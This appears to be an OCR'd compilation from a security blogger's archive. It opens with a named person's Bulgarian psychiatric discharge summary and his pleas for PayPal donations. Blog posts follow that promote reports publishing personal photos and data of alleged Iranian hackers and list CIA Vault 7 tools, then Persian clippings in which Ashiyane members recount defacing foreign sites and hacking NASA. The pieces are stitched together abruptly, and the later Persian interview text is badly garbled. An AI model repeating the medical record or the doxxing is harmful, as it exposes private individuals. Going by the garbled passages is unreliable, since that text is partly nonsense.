[redacted] **от 2010 г.** [redacted]

ЕПИКРИЗА

На Данчо [redacted] **Данчев, на 27 години**

[redacted]

[redacted]

Повод за настоящата хоспитализация: Постъпва за пръв път в психиатричен стационар и до настоящия момент не е ползва специализирана психиатрична помощ. Доведен с Преписка на РУ на МВР, Троян.

По данни от родителите промяната в поведението датира от началото на месец юли, когато заминал да живее сам на квартира в София. През първия месец поддържал ежедневна връзка с тях по телефона, но след това спрял да се обажда. На позвънявания от тяхна страна не отговарял или изключвал телефоните си. Това ги притеснило и те започнали да го издирват активно. Получили писмо от хазаина, че до 15.09.10г. трябва да освободят квартирата, а така също и няколко обаждания за неплатени лизингови вноски за закупен от сина им лаптоп. На посочената дата те отишли в София, където намерили сина си да спи в квартирата. Отказвал да говори с тях, бил груб и хладен. Събрали му багажа за да се върнат в Троян, той ги оставил пред квартирата под предлог, че е зает и заминал някъде с такси. След завръщането в Троян отказвал да контактува с родителите и с други познати. Затварял се по цял в стаята си, отказвал да се храни заедно с тях. Напускал дома си без да дава обяснения къде ходи и кога ще се върне. Промяната в поведението му била констатирана и от съседи и приятели на семейството, които Данчо подминавал като напълно непознати. При отправени забележки от страна на Майката „започвал да ягледа лошо". Навсякъде ходел с преносимия компютър. Гледал телевизия от около метър разстояние, заключвал и по няколко пъти проверявал входната врата дали е заключена. Непосредствено преди намесата на полицията започнал да говори несвързано, смесвал спомени от детството с наскоро случили се неща, употребявал много компютърни термини до степен на неразбираемост.

Primary contact points that you should reach out to in case

you're concerned about my

well-being and whereabouts:

- **[21] Troyan Police** - Email: police _troyan@abv.bg

- [22]**Troyan Hospital** - Email: mbal _troyan@abv.bg

- **[23] Lovech Psychiatry Clinic** - Email: dpblovech@abv.bg

- **[24] Troyan Municipality** - Email: mail@troyan.bg

7211

My urgent request:

- Can you please donate any amount to my **PayPal ID: dancho.danchev@hush.com** which I'll

use to relocate as soon as possible

- Can you please reach out to the provided email contact points with local law enforce-

ment and the people responsible and let them know what do you think

My second request:

- Do you maintain an internal Underground Forum monitoring service?

Are you aware of

any Underground Community chatter referencing me and my research including **[25] disap-**

pearance and personal blog similar to **[26] this post**?

7212

- Do you keep in touch with law enforcement? Can you possibly make an inquiry and let me

know personally regarding any information regarding my disappearance and whereabouts

circa 2010?

- Has anyone ever approached you regarding my disappearance?

Are you aware of any

information regarding my disappearance including possible internal organization chatter

law enforcement outreach or possible news tips? Can you possibly approach me personally

with additional information that you might be aware of regarding my disappearance and

whereabouts circa 2010?

Stay tuned!

16.3.1 Two High-Profile OSINT and Technical Collection Analysis Reports on Iran's

Hacking Scene and the Ashiyane Digital Security Team - Available for Free!

(2020-05-21 00:56)

7214

Dear blog readers,

It's a pleasure and an honor to let you know that I've just made **[1] two** of **[2] my** most

important and high-profile studies on Iran's Hacking Scene and Iran's Hacking Ecosystem

including a high-profile and never-published before SNA (Social Network Analysis) of Iran's

Hacking Scene using Maltego publicly accessible with the idea to get more people to read

them and actually act upon them potentially assisting the U.S Intelligence Community and

U.S Law Enforcement on its way to track down the prosecute the cybercriminals behind these

campaigns.

7215

I've decided to share direct download copies of the two reports with the idea to assist

you and your team including possibly a vendor or an organization on its way to catch up with

what Iran's Hacking Scene has been up to including the infamous Ashiyane Digital Security

Team in the context of offering an in-depth and never-published before OSINT analysis on

Iran's Hacking Scene including an in-depth and comprehensive SNA (Social Network Analysis)

graph of Iran's Hacking Scene using Maltego.

• Consider going through the following **[3] post** to go through an OSINT analysis on the FBI's

Most Wanted Iran-based cybercriminals including actionable intelligence and in-depth OS-

INT analysis including a SNA (Social Network Analysis) graph of Sun Army Team Members,

ITSec Team Members, and the Mersad Co. company.

An excerpt from the first report which you can grab from **[4] here**:

" *In this report I'll provide in-depth analysis of the Iranian Hacking Scene*

and potentially

its use of offensive and defensive cyber warfare practices including possible capability

measurement and estimation in terms of technical capabilities and offer in-depth technical

and qualitative analysis of some of the key factors that actually drive the Iranian Hacking

Scene including in-depth Technical Collection material and OSINT gathered artifacts to assist

in the process of acting upon the growing threat posed by Iranian Hackers and the Ashiyane

Digital Security Team internationally with the idea to empower decision-makers and the

Industry including third-party stakeholders with the necessary analysis to act upon and take

measures against in terms of offensive and defensive cyber warfare operations and actual Law

Enforcement tracking down and prosecution including never-published and released before

personally identifiable information on the Ashiyane Digital Security Team including its key

members including a never-published before Social Network Analysis Graph of Iran's Hacking

Scene and Iran's Hacking Underground. "

7216

An excerpt from the second report which you can grab from **[5] here**:

" *This qualitative analysis (45 pages) seeks to assess the Computer Network Operations*

(CNO) of Islamic Republic of Iran, through the prism of the adversary's understanding of

Tactics, Techniques and Procedures (TTP), a structured and geopolitically relevant, enriched

OSINT assessment of their operations, consisting of interpreted hacking literature, videos, and,

custom made hacking tools, extensive SNA (Social Network Analysis) of the country's Hacking

Ecosystem, real-life personalization of the key individuals behind the groups (personally

identifiable photos, personal emails, phone numbers, Blogs, Web Sites, Social Networking

accounts etc.).

It's purpose is to ultimately empower decision/policy makers, as well as

intelligence analysts, with recommendations for countering Islamic Republic of Iran's growing

understanding and application of CNO tactics and strategies. "

• Overview and In-Depth Analysis of Iran's Most Popular Hacking Groups

• Personally Identifiable Information and Enriched OSINT Analysis

• Iran Hacking Group's Team Members Personal Photos

7217

• Iran Hacking Team's Personal Group Photos

• Personal and Group-Published Hacking and Security Tools

• Analysis of Iran's Cyber Academic Sector

• Social Network Analysis Maltego Graph

Iran-based Hacking Groups and Team covered and discussed in-depth:

• Overview and In-Depth Analysis of Iran's Most Popular Hacking Groups

• Personally Identifiable Information and Enriched OSINT Analysis

• Iran Hacking Group's Team Members Personal Photos

• Iran Hacking Team's Personal Group Photos

• Personal and Group-Published Hacking and Security Tools

• Analysis of Iran's Cyber Academic Sector

• Social Network Analysis Maltego Graph

Enjoy!

7218

16.3.2 The Relevance and Irrelevance of CIA's Vault 7 Cyber Weapons Arsenal - An

In-depth OSINT Analysis (2020-05-21 19:29)

In a World dominated by buzz words such as military defense contractors entering the World

of cyber warfare through the supposedly proposed cyber weapons

inventory that they could

supply to their clients and a multi-tude of third-party cyber weapon and legal surveillance type

of solution providers it shouldn't be surprising that the CIA's most recently launched Center

for Cyber Intelligence including the actual existence of the CIA's Information Operations

Center which is responsible for producing and actually working on the production and release

of nation-grade cyber weapons are already making a decent portion of contribution to the

U.S Intelligence Community of terms of building and actually working on high-profile and

7219

nation-grade cyber weapons thanks to a recently released and leaked by Wikileaks archive of

CIA cyber weapon documents.

In this post I'll offer an in-depth discussion and analysis on the relevance and irrelevance of

CIA's cyber weapons program in the global context of the U.S Intelligence Community includ-

ing the actual applicability of such type of weapons in today's modern security researchers

and anti-virus vendors dominated world including to actually discuss in-depth the technical

specifications behind the CIA's Vault 7 cyber weapons program including to actually make a

vast and sound recommendation in terms of improving them including the associated risks

involved in the program and the actual execution of such type of cyber weapons.

Last Alert: 2012-04-19 08:14:42.0 Target: you@suck.eggs Current Time: 2012-04-25 08:34:36.113

In today's modern cyber warfare age multiple international bodies both commercial

government-sponsored and non-profit organizations strive to provide both legal and tac-

tical advice and practical recommendations including "best practices" on the legal and

operational applicability of today's modern cyber warfare arms race that often thankfully

goes beyond the usual in-depth and throughout analysis of yet another currently circulating

malicious and fraudulent spam and phishing including malware campaigns.

What was once a very specific skillful set of both technical and operational "know-how"

courtesy of the NSA in terms of launching both offensive and defensive cyber warfare

operations is today's modern alternative in the face of CIA's recently launched offensive

cyber warfare weapons program which based on the publicly accessibly leaked material

appears to go beyond the usual lawful surveillance type of tools including today's modern DIY

(do-it-yourself) malware-releases and basically signals a trend and possibly an international

including within the U.S Intelligence Community standard in terms of working on high-grade

nation-empowered offensive cyber warfare weapons.

7264

With the CIA slowly entering the cyber warfare arms race it should be considered as a

privilege to actually having a working or in-the-works cyber weapon type of arsenal that could

possibly motivate other U.S Intelligence Community agencies and

actually raise the eye-brows

of certain members of the U.S Intelligence Community in particular the NSA in the context of

having another agency actively develop and work on cyber warfare weapons. What is the CIA

up to in terms of offensive cyber warfare weapons and actual production of high-grade and

nation-state sponsored malicious software?

Thanks to a publicly accessible leaked archive of classified and potentially Top Secret in-

formation on CIA's offensive cyber warfare weapons program we can clearly distinguish

approximately 24 Top Secret offensive cyber warfare weapon programs and actual tools which

I'll extensively profile in this post and offer practical and relevant advice on how organization's

and companies can protect themselves from these type of threats.

• "Dark Matter" - iPhone and MAC hacking

• "Marble" - CIA's Marble Framework for malicious code obfuscation

• "Grasshopper" - CIA's Grasshopper framework for producing Windows-based malware

• "HIVE" - publicly accessible C &C (Command and Control) infrastructure development

• "Weeping Angel" - SmartTV hacking and eavesdropping project

• "Scribbles" - Web-beacons based leaked documents tracking tool project

• "Archimedes" - local area network (LAN) hacking tool project that would eventually phone

back to the CIA's C &C infrastructure

• "AfterMidnight" - Windows-based malware

• "Assassin" - Yet another Windows-based malware

• "Athena" - Yet another Windows-based malware

• "Pandemic" - Yet another Windows-based malware

• "Cherry Blossom" - Compromised and backdoored Wireless device and router firmware

• "Brutal Kangaroo" - Covert communication channel using custom-embedded and shipped

USB drives

• "Elsa" - Geo-location aware Wireless device and router exploitation project

• "OutlawCountry" - Linux based malware

• "BothanSpy" - Windows-based malware

• "Highrise" - Android-based mobile malware

7265

• "Imperial" - Mac OS X trojan horse project

• "Dumbo" - Web cam hacking and compromise project

• "CouchPotato" - Video and Web cam hacking and compromise project

• "ExpressLane" - biometrics database compromise hacking project

• "Angelfire" - Windows-based malware

• "Protego" - Missile-control-based malicious software

Today’s monocultural insecurities-based inter-connected World in combination with good

old-fashioned OSINT methodologies could easily prove handy to nation-state cyber weapons

building groups and teams in the context of actually doing their home work and basically

adapting to good-old fashioned standardized communication approaches and technologies for

the purpose of exploiting and building offensive cyber weapons on the top of it.

Case in point is the majority of market-leading open-source firmware releases including the

actual proprietary and off-the-shelf internal U.S Intelligence Community based and driven in-

cluding possibly sponsored bug bounty programs including the actual outsourcing of the actual

vulnerability discovery and exploit development to a third-party including the use of proprietary

and publicly accessible off-the-counter exploit and vulnerability development services courtesy

of malicious parties or legitimate public services and projects.

The very notion that the CIA is developing cyber warfare weapons should be considered a

7266

privilege in case they’re actually used against an online adversary or a foreign nation. In terms

of attribution it should be clearly noted that the active outsourcing and utilization of purely

malicious online infrastructure including the use of legitimate online infrastructure acting as a

C &C infrastructure should be clearly considered an option in case the CIA doesn’t want to end

up having its inventory of hijacked PCs and hosts actually compromised or actually having its

C &C infrastructure taken offline courtesy of security researchers or the Security Community.

I've also managed to find two currently active C &C servers courtesy of CIA's currently active

and ongoing Vault 7 cyber weapons program including an actual MD5 for a CIA-produced and

sponsored mobile malware:

16.4.1 Exposing Anonymous Greece - An OSINT Analysis (2020-06-18 14:39)

16.4.2 Exposing Ashiyane Digital Security Team - An OSINT Analysis (2020-06-19 16:08)

7273

Dear blog readers,

I wanted to let you know that I've decided to publish a set of high-profile and personally

identifiable personal photos of all the leading and currently active Iran-based hacking and

Web site defacement groups with the idea to assist the Security Industry and U.S Law

Enforcement on its way to properly track down the members of these groups part of my two

series of actionable threat intelligence type of reports which I've recently released and made

exclusively publicly available for free.

7274

• [1]Assessing The Computer Network Operation (CNO) Capabilities of the Islamic Republic

of Iran - Report - Direct Download Copy

• [2]A Qualitative and Technical Collection OSINT-Enriched Analysis of the Iranian Hacking

Scene Through the Prism of the Infamous Ashiyane Digital Security Team - Direct Download

Copy

• [3]Exposing Iran's Most Wanted Cybercriminals - FBI Most Wanted Checklist - OSINT Anal-

ysis

7275

Just to let you know that the second edition of the report which is basically the single most

popular and comprehensive publicly accessible Technical Collection report on Iran's Hacking

Scene was produced and sponsored courtesy of Wallmart Threat Intelligence Team which

gracefully approached me in terms of producing it and actually allowed me to release it

publicly for free.

Sample personal photos of members of Ashiyane Digital Security Team including the group's

leader Behrooz Kamalian:

ناسا مورد حمله هکرهای ایرانی قرار گرفت

سایت ناسا، آژانس فضایی آمریکا، توسط یک گروه نفوذگر اینترنتی ایرانی مورد نفوذ قرار گرفت و هک شد.

بنا به گزارش سایت "شبکه فناوری اطلاعات ایران"، در این رویداد، پنج زیر دامنه (SUBDOMAIN) از این سایت توسط گروه ایرانی "آشیانه" مورد نفوذ قرار گرفت.

در ادامه این گزارش آمده است: رکورد نفوذپذیری به سایت ناسا با این حرکت شکسته شد چرا که در حملات قبلی فقط یک زیر دامنه مورد نفوذ قرار گرفته بود.

تیم امنیتی "آشیانه" مدعی شده است: برای اینکه مسوولین سرور به زودی متوجه این حمله نگردند فایل های اصلی را دستکاری نکردیم.

لینک سایت های هک شده در سایت امنیتی زون - اچ (ZONE-H) آمده است.

سایت اصلی ناسا به آدرس اینترنتی NASA.GOV همچنان مشغول اطلاع رسانی است.

7370

چشم انداز

گپ

هک می‌کنم

هر چقدر زمان می‌گذرد هکرها بیشتر به شیطنت‌هایشان سمت و سو می‌دهند.
شیطنت‌های هکرهای گروه «آشیانه» اما امروز، روی ریل‌های مصالح انسانی و ملی حرکت می‌کند.
عصر یکی از واپسین روزهای سال، پذیرای اعضای جوان گروه «آشیانه» بودیم. هکرهای جوان ایرانی با سری بالا به

هکر خوب
هکری است که سرش را بالا بگیرد

احسان تبریزی

آقای کمالیان چرا سراغ هک رفتید؟

۱۷ سالگی آغاز آشنایی من با رایانه بود. از همان موقع سراغ هک رفتم، به هر حال دنیای جذابی بود و حس کنجکاوی‌ام را ارضا می‌کرد. البته اولین علاقه‌مندی من در رایانه، اینترنت بود. اینترنت مرا به دنیایی وصل می‌کرد که می‌توانستم با همه در ارتباط باشم.

چت هم می‌کردید؟

دو ماه چت کردم و کنار گذاشتم اما دوستانی پیدا کردم که بعدها پایه‌های گروه آشیانه شدند.

اولین ایده‌های هک چطور در ذهن شما شکل گرفت؟

وقتی در فضای اینترنت بودم و با کاربران ارتباط داشتم دائم از من می‌پرسیدند ID من هک شده، چه کار باید بکنم؟ یا چطور می‌توانم هک کنم؟ این پرسش‌ها کنجکاوم می‌کرد تا بدانم اصلا هک چیست. آن موقع هنوز کسی در ایران پاسخ روشنی برای این سؤالات نداشت، مجبور بودم به سایت‌های خارجی بروم و مقالاتی را که در این باره بود ترجمه کنم.

بعد هم یافته‌هایتان را روی کاربران تست می‌کردید؟

(خنده جمع)

بله، من فکر می‌کنم آدم‌ها براساس خصوصیات اخلاقی‌شان علاقه‌مند موضوع‌های دور و برشان می‌شوند. من از بچگی به قول معروف از دیوار راست بالا می‌رفتم و درسخوان به آن مفهوم رایج نبودم. فکر می‌کنم انتخاب هک دنباله‌همان ایده‌ها و شیطنت‌های کودکی‌ام بود.

بعد هم که «آشیانه» را ساختید؟

بله. آشیانه شش‌سال پیش با حضور من، آقایان صالحق و

آشیانه امن ایرانی‌ها

گفت‌وگو با بهروز کمالیان، مدیرعامل شرکت آشیانه

میثاق محمدی و آیدا محمدرضا پناهی

در همایش «خلیج» با شوکران هر تولیدی در شاخه کلان کمالیان، سرمایه‌گذار این شرکت کرده است و بهروز بنیاد، پیشنهاد یک گفت‌وگو را به وی می‌دهیم که سرپرست اصلی آن، فرد جوان و پرانرژی است که قصد دارد شنیدیم.

در جهت است. کمر قوی‌تر، آب‌توان بالاتر، که کار کرد آشیانه را به میزان یک کرد مدار شده است. باشد. کولون گرم‌هایی که در ایران انجام می‌شود، کردو و دمش بیوند سرمایه‌ها باشد هاک کولون سرمایه‌های شما هاک کولون نیست. سیاست ایرانی برای هاشتاد تلاش به خریدن سایت‌ها هاک سایت‌های بلیط‌ها و ایرانگرد و سایت‌های... که از مزیت خلیج عربی که استفاده کردهاند را در کارنامه خود دارند. برگزاری تورهای آموزشی هاک و است. سایت و گزارش دستورهای تخصصی مطالعه با خود و ارائه سرویس‌های دست خود از برای تعلق‌های ایران کوچاست.

باور این کارنامه کاری را می‌بینند. شهروان، بیوه‌دو اندی را چه دو کرد و دلیلی کرد کرده و دسی‌ی با شعار «کرد و برداشت آگاهیت» در زمینه سیستم‌های امنیتی و محافظتی است که فعال بقای که در تصاویر می‌بینید گروه آشیانه از چندین جلال با میرهایی حدود ۱۲۰ تا ۱۷۰ سال تشکیل شده است که قرار و همه هماهنگی‌ها در مرزبندیها حاکم هاک هسته و روی جلسه و جلسه خواهر نیز به قدمت نصب شرکت با پهروز کمالیان گفت‌وگویی سرمایه‌ی در آن شاهنیم دهقانی که تصفیه و تصفیه کردهای سخت‌بهای و به وبال شده‌ند کردهای شده این روزهای تهران می‌گرفتند و نیز هدیه شاه کشتیگر و اتاق سوخت بند که

بهروز کمالیان مدیر گروه آشیانه در گفت‌وگو با «شرق»

۱۵۰۰ سایت امریکایی را در مقابل قرآن‌سوزی هک کردیم

جلد شهریور

در پی آزمایش فرآن توسط کشیش فلوریدا، در مقابل واکنش‌های مختلف نسبت به این موضوع، گروه آشیانه در اعتراض به این حرکت، حمله هکری گسترده‌ای را به سایت‌های امریکایی انجام داد. این حمله هکری که از دوم دی‌ماه آغاز شد، تقریباً تمام سایت‌های دولتی و غیردولتی این کشور را هدف قرار داد. گروه آشیانه در بیانیه‌ای که در سایت خود منتشر کرد، اعلام کرد که این حمله اعتراضی خود را بر پایه حمله به سایت‌های امریکایی در اعتراض به اهانت به قرآن در کنار هک سایت‌های اسرائیلی در اعتراض به کشتار مردم غزه، در ۲۲ دسامبر آغاز کرده است. در این بیانیه آمده است: «ما امروز به دلیل اهانت به قرآن در کنار هک سایت‌های اسرائیلی، به هک سایت‌های امریکایی حمله کردیم. هدف ما از این حمله، نشان دادن عزت شیعه است. ما با حمله به سایت‌های امریکایی، به اهانت به قرآن واکنش نشان دادیم و در کنار آن، به کشتار مردم غزه، به دست اسرائیل نیز واکنش نشان دادیم. ما در این حمله، سایت‌های اسرائیلی را هدف قرار دادیم و در کنار آن، سایت‌های امریکایی را هدف قرار دادیم

پس هستم!

دفتر روزنامه آمده بودند و درباره پروژه‌هایشان با ما حرف می‌زدند. گروهی که امروز با عنوان شرکت فناوری ارتباطات و اطلاعات اشباه فعالیت می‌کند. این هکرهای جوان دیروز، امروز در قامت مدیران جوان یک شرکت ارتباطی - اطلاعاتی ظاهر شده‌اند و در زمینه ارتقای امنیت شبکه‌های اطلاعاتی فعالیت می‌کنند.

نوروزی و دو نفر از دوستان دیگر شکل گرفت. الآن اشباه ۱۵ نفر عضو اصلی دارد که هفت نفر از آنها در تهران و بقیه در شهرستان‌ها هستند.

«اشباه» چند نفر کاربر دارد؟

سایت «اشباه» با ۲۳ هزار نفر عضو بزرگترین سایت هک و امنیت و تالار گفت‌وگو و تبادل اطلاعات در ایران است.

اعضای گروه دیدارهای حضوری با هم دارند؟

رستورانی وجود دارد که پاتوق اشباه است. ما با حضور دوستان شهرستانی سه بار در سال دور هم جمع می‌شویم.

مرامنامه یا اساسنامه‌ای نوشته‌اید؟

قوانین نوشتاری نداریم اما خطوط قرمز به همه اعضا گفته شده. اگر کسی هم اشتباه کند تذکر می‌دهیم.

بالاخره هر گروهی هدفی را دنبال می‌کند و طبیعتاً برای رسیدن به آن استراتژی و تاکتیک می‌چیند. هدف اصلی گروه اشباه چیست؟

«اشباه» روزهای اول می‌خواست نقاط ضعف سایت‌های ایرانی را نشان بدهد. ما با هک کردن سایت‌های دانشگاهی و دولتی می‌خواستیم به مسئولان آنها گوشزد کنیم که سایت آنها مشکل امنیتی دارد.

غیرقانونی هم می‌زدید؟

ابدا! فقط فایل اساسی اعضای گروه را روی وب سایت مورد نظر آپلود می‌کردیم.

پس صفحه اصلی سایت را تغییر نمی‌دادید؟

به هیچوجه، ما فقط هشدار امنیتی سایت را به مسئولان دانشگاه و مدیران سایت ایمیل می‌کردیم.

نمرات «دانشجویان چطور؟ آنها که در اشباه پس و پیش نمی‌شد؟

ما بسیاری از سایت‌های دانشگاهی را هک کردیم و امکان دستیابی و دستکاری نمرات دانشجویان را هم داشتیم اما این همان خط قرمز شفاهی اعضای گروه بود.

هدف اصلی ما در این مدت افزایش ضریب امنیت سایت‌های مهم ایران بود. ما دو، سه سال این کار را انجام دادیم و به اینجا رسیدیم که مخاطبان ما نسبت به امنیت وب سایت و هک با حساسیت بیشتری رفتار کنند.

در این مدت هکرهای خارجی هم سراغ سایت‌های ایران می‌آمدند؟

بله، البته آنها خسارت می‌زدند و بسیاری از مواقع اطلاعات سایت‌ها را پاک می‌کردند.

نوروزی: نمونه‌اش سایت آیت‌الله مکارم شیرازی بود که وهابیون هک کردند.

احمدزادگان: البته فقط سایت ایشان نبود، سایت همه مراجع روی یک server بود و هک شد.

چهار سال پیش سایت دانشگاه صنعتی شریف را هک کردید. این هم یک نوع قدرت نمایی بود؟

کمالیان: دانشگاه شریف آن سال‌ها سمینواری درباره امنیت شبکه برگزار کرده بود. آنها در این سمینار با اطمینان کامل از امنیت شبکه شان حرف می‌زدند و مدعی بودند به هیچ وجه نمی‌توان این سایت را هک کرد.

غرور شما هم جریحه دار می‌شد؟!

ما در این سمینار حضور داشتیم و تصمیم گرفتیم روی این پروژه کار کنیم. دو نفر روی موضوع متمرکز شدیم و بعد از سه روز سایت دانشگاه شریف هک شد.

نقدهای امنیتی به سایت‌های ایرانی بعد از دو، سه سال تکراری نمی‌شد؟

چرا، در کنار این موضوع بازخوردهایی ما نشان می‌داد که افکار عمومی و هک کردن سایت‌های ایرانی چندان راضی نیست. ما هدف دیگری را دنبال می‌کردیم اما ظاهر این هدف برخلاف ماهیت آن عمل می‌کرد، بنابراین بعد از هک سایت دانشگاه شریف اعلام کردیم که گروه «اشباه» دیگر هیچ سایت ایرانی را هک نخواهد کرد. از این جا بود که گروه تصمیم گرفت «فقط برانداز» باشد.

اهداف ملی و عقیدتی حرکت کند، اولین پروژه ما در این مقطع هک ۵۰۰ سایت دانمارکی بود.

همان زمان که سایت‌های دانمارکی به ساحت پیامبر اسلام(ص) اهانت کرده بودند؟

بله، شاید باور نکنید به فاصله چند روز ۱۰۰۰ ایمیل به دست ما رسید که خواسته شده بود با نفوذ در سایت‌های دانمارکی، کاریکاتورهای موهن را پاک کنیم. ما با اعضای گروه تصمیم گرفتیم این پروژه را انجام بدهیم و توانستیم ۵۰۰ سایت دانمارکی را به همراه سایت اصلی نماینده کاریکاتورها هک کنیم.

روی صفحات اصلی این سایت‌ها چه تصویری گذاشته بودید؟

پرچم ایران به همراه نماد آشباه. ما سه روز روی سایت اصلی نظرسنجی کردیم و به چهار زبان اصلی دنیا از افکار عمومی خواستیم بگویند موافق کارگروه آشباه هستند یا نه. ۹۶ درصد افراد به سؤال ما پاسخ مثبت دادند.

چند نفر در نظر سنجی شرکت کرده بودند؟

۱۰ هزار نفر که نیمی از آنها ایرانی بودند. خبر این هک در بخش خبری ۲۰:۳۰ از تلویزیون ایران پخش شد.

بعد از قضیه دانمارک، پروژه‌های دیگرتان چه بود؟

ما دو بار سایت‌های رژیم صهیونیستی را هک کردیم. بار اول در جنگ ۳۳ روزه لبنان بود که ۱۰۰ سایت صهیونیستی هک شد، بار دوم هم در اعتراض به کشتار مردم بی دفاع غزه، ۵۰۰ سایت اسرائیلی را هک کردیم.

نوروزی: ما در جنگ غزه مثل همه مردم از آن همه وحشیگری متأثر بودیم، تصمیم گرفتیم حرکت اسرائیلی‌ها را محکوم کنیم. البته سایت‌های اسرائیلی امنیت بسیار بالایی دارند اما توانستیم سایت ارگان‌های دولتی شان را هک کنیم، مهمترین سایت هم متعلق به ایهود باراک، وزیر جنگ اسرائیل بود.

سایت موساد چطور؟

سایت موساد را «داون» و از دسترس خارج کردیم.

صفحه اصلی سایت موساد عوض نشد اما دو روز در دسترس نبود.

احمدزادگان: اگر یادتان باشد قبلاً اسرائیلی‌ها به خاطر مسابقه کاریکاتور هولوکاست، روزنامه همشهری را «داون» کرده بودند.

صالحی: وقتی ما توانستیم سایت‌های اسرائیلی را هک کنیم، شبکه «Press Tv» اعلام کرد « آشباه» سایت‌های اسرائیلی را هک کرد. این خبر به هر حال ابعاد جهانی داشت و از همه جای دنیا رفته بودند سراغ سایت موساد و دیده بودند از دسترس خارج است.

نوروزی: همان روزها بود که از طرف کانال «RT» روسیه «Russia today» سراغ ما آمدند و مصاحبه‌ای با اعضای گروه داشتند. این برنامه در کانال‌های عربی پخش شد و بازتاب خوبی داشت.

کمالیان: در پروژه خلیج فارس هم شبکه بی‌بی‌سی خبر هک ۱۰۰ سایت عربی را که از عبارت خلیج عربی به جای خلیج‌فارس استفاده کرده بودند، پوشش داد. ما در این پروژه عبارت «Persian Gulf» را روی صفحه اصلی سایت‌ها قرار دادیم.

چند ماه پیش دیداری هم با آیت‌الله مکارم شیرازی داشتید؟

بله، همان زمان بود که وهابیون سایت‌های مراجع و آیات عظام را هک می‌کردند. نقشه کل جهان را روی صفحه سایت قرار داده بودند و دور ایران یک ضربدر قرمز کشیده بودند، بعد هم به تمسخر می‌گفتند ایرانی‌ها هکر ندارند.

بعد از این که سایت‌های مهم وهابیون را هک کردیم، یکی از دوستان مشترک که با ما و آیت‌الله مکارم شیرازی در ارتباط بودند، تماس گرفتند و از ما خواستند صبح فردای آن روز درقم دیداری با ایشان داشته باشیم. فردای آن روز من و آقای صالحی به محضر ایشان رسیدیم و آیت‌الله مکارم شیرازی ضمن قدردانی از فعالیت‌های ما توصیه فرمودند از این به بعد وارد فضای احساس و تفرقه آمیز نشویم. ما بعد از این دیدار با وجود این که وهابیون سایت‌های ایرانی را هک می‌کردند، مقابله به مثل نکردیم.

من فکر می‌کنم هرچقدر سن و سال اعضای گروه بالاتر برود سنجیده‌تر رفتار خواهد کرد و از شیطنت‌های کاذب نوجوانی و جوانی فاصله خواهد گرفت.

کمالیان: الآن دیگر این طور نیست که ما هر روز هک کنیم. نگاهی می‌کنیم ببینیم چه کسی مذهب و ملیت ما را نشانه می‌رود، آنجا وارد می‌شویم و برخورد می‌کنیم.

صالحی: اگر گروه «اشباه» قبلاً ۱۰۰ درصد کار هک می‌کرد الآن ۹۰ درصد کار امنیتی انجام می‌دهد و ۱۰ درصد هک. هک هم برای ما هیچ گونه جنبه درآمدی ندارد. این طور نیست که از کسی پولی بگیریم و سفارش کار کنیم.

کمالیان: واقعاً ما از این موضوع رنج می‌بریم. خیلی‌ها فکر می‌کنند «اشباه» از دولت پول می‌گیرد و سایت‌های اسرائیلی را هک می‌کند. ما تا به‌حال در هیچ کدام از پروژه‌های هک، یک ریال

از کسی پول نگرفته‌ایم.

سایت ناسا را هم هک کردید؟

ما از ناسا دوبار دسترسی گرفتیم، بار اول فهمیدند و بلافاصله دسترسی ما را بستند و نتوانستیم هک کنیم اما بار دوم هک شد.

نوروزی: دسترسی دوم ما به ناسا از طرف «علی اکشن» انجام شد که امروز اینجا حضور ندارد.

«علی اکشن» اسم مستعارشان است؟

بله.

سایت ناسا فقط براساس شیطنت انتخاب شد؟

کمالیان: ناسا زمانی هک شد که امریکایی‌ها مدام در رسانه‌هایشان ما ایرانی‌ها را تروریست می‌خواندند. البته هک ناسا در همه جای دنیا افتخاری برای هکرها است.

مثل فتح قله اورست برای کوهنوردها؟

دقیقاً هکرها وقتی می‌خواهند قدرت‌نمایی کنند سراغ ناسا می‌روند.

این که می‌گویند دست بالای دست بسیار است شامل دنیای هکرها هم می‌شود؟

تا دانش بخواهد بلا سرمان آمده است. بعد از هک سایت‌های اسرائیلی دامنه سایت‌ها دچار مشکل شد. سرشماره دامنه‌ها هم چند روز سایت ما بسته شد. ایمیل زدیم به ناسا و گفتیم یک گروه امنیتی هستیم و چند «پاک» (حفره) امنیتی را پیدا کرده‌ایم و گروهی دیگر به اسم «اشباه» از این پاک‌ها سوءاستفاده کرده‌اند.

چند روز پیش فیلمی می‌دیدم که درباره رقابت دو شعبده‌باز برای دانستن رمز جابه‌جایی انسان بود. آنجا می‌گفتند شعبده بازی سه رکن دارد، حالا هک چه اجزایی دارد؟

کمالیان: تعیین هدف و شناسایی آن مراحل اولیه کار است. بعد از این که هدف را انتخاب کردی، شناسایی‌اش می‌کنی و اطلاعات می‌گیری، بعد هم گام دسترسی است که در دسترسی مشکلات هدف را پیدا می‌کنی.

احمدزادگان: و از آن مشکلات استفاده می‌کنی. واقع از روزنه‌ها بهره می‌گیری.

کمالیان: همان حفره‌های امنیتی

بسم الله الرحمن الرحیم

www.ue.com

جناب آقای مهندس بهروز کالیان

باسلام و تهنیت، اشتغال به امور جوانان ذکر ثنای حق است، توجه به بنجکان نقش پرداز دایره مینائی است برای انسانهای والائی که از جهلی و هم آوائی با بنجکان به وجد و سماع می آیند، نقش بی بدیل و زحمات بی دریغ حضرتعالی نمونه بارز احساس لطیف و ذوق توفیق غایت کمال انسانی است که از ممات به حیات می نگرد.

ضمن قدردانی از اقدامات ارزنده حضرتعالی به موجب این حکم حضرتعالی به سمت مشاور عالی امنیت سایبری مرکز حامی بنجکان منصوب می شوید، امید است با استعانت از خداوند متعال در پیشبرد اهداف و بالندگی جوانان فرهیخته موفق باشید.

آشیانه امن ایرانی ها

گفت‌وگو با پهروز کمالیان، مدیرعامل شرکت آشیانه

میثاق محمدی و آرمند محمدرضا پاشی

در همایش هفته با نوآوری هم، از اوایل خرداد ماه گذشته کمالیان، مدیرعامل شرکت آشیانه را دعوت و بسنده یک گفت‌وگو را به وی دادیم که مربوط استقبال آردند و هفته بعد به شرکت آشیانه دعوت شدیم.

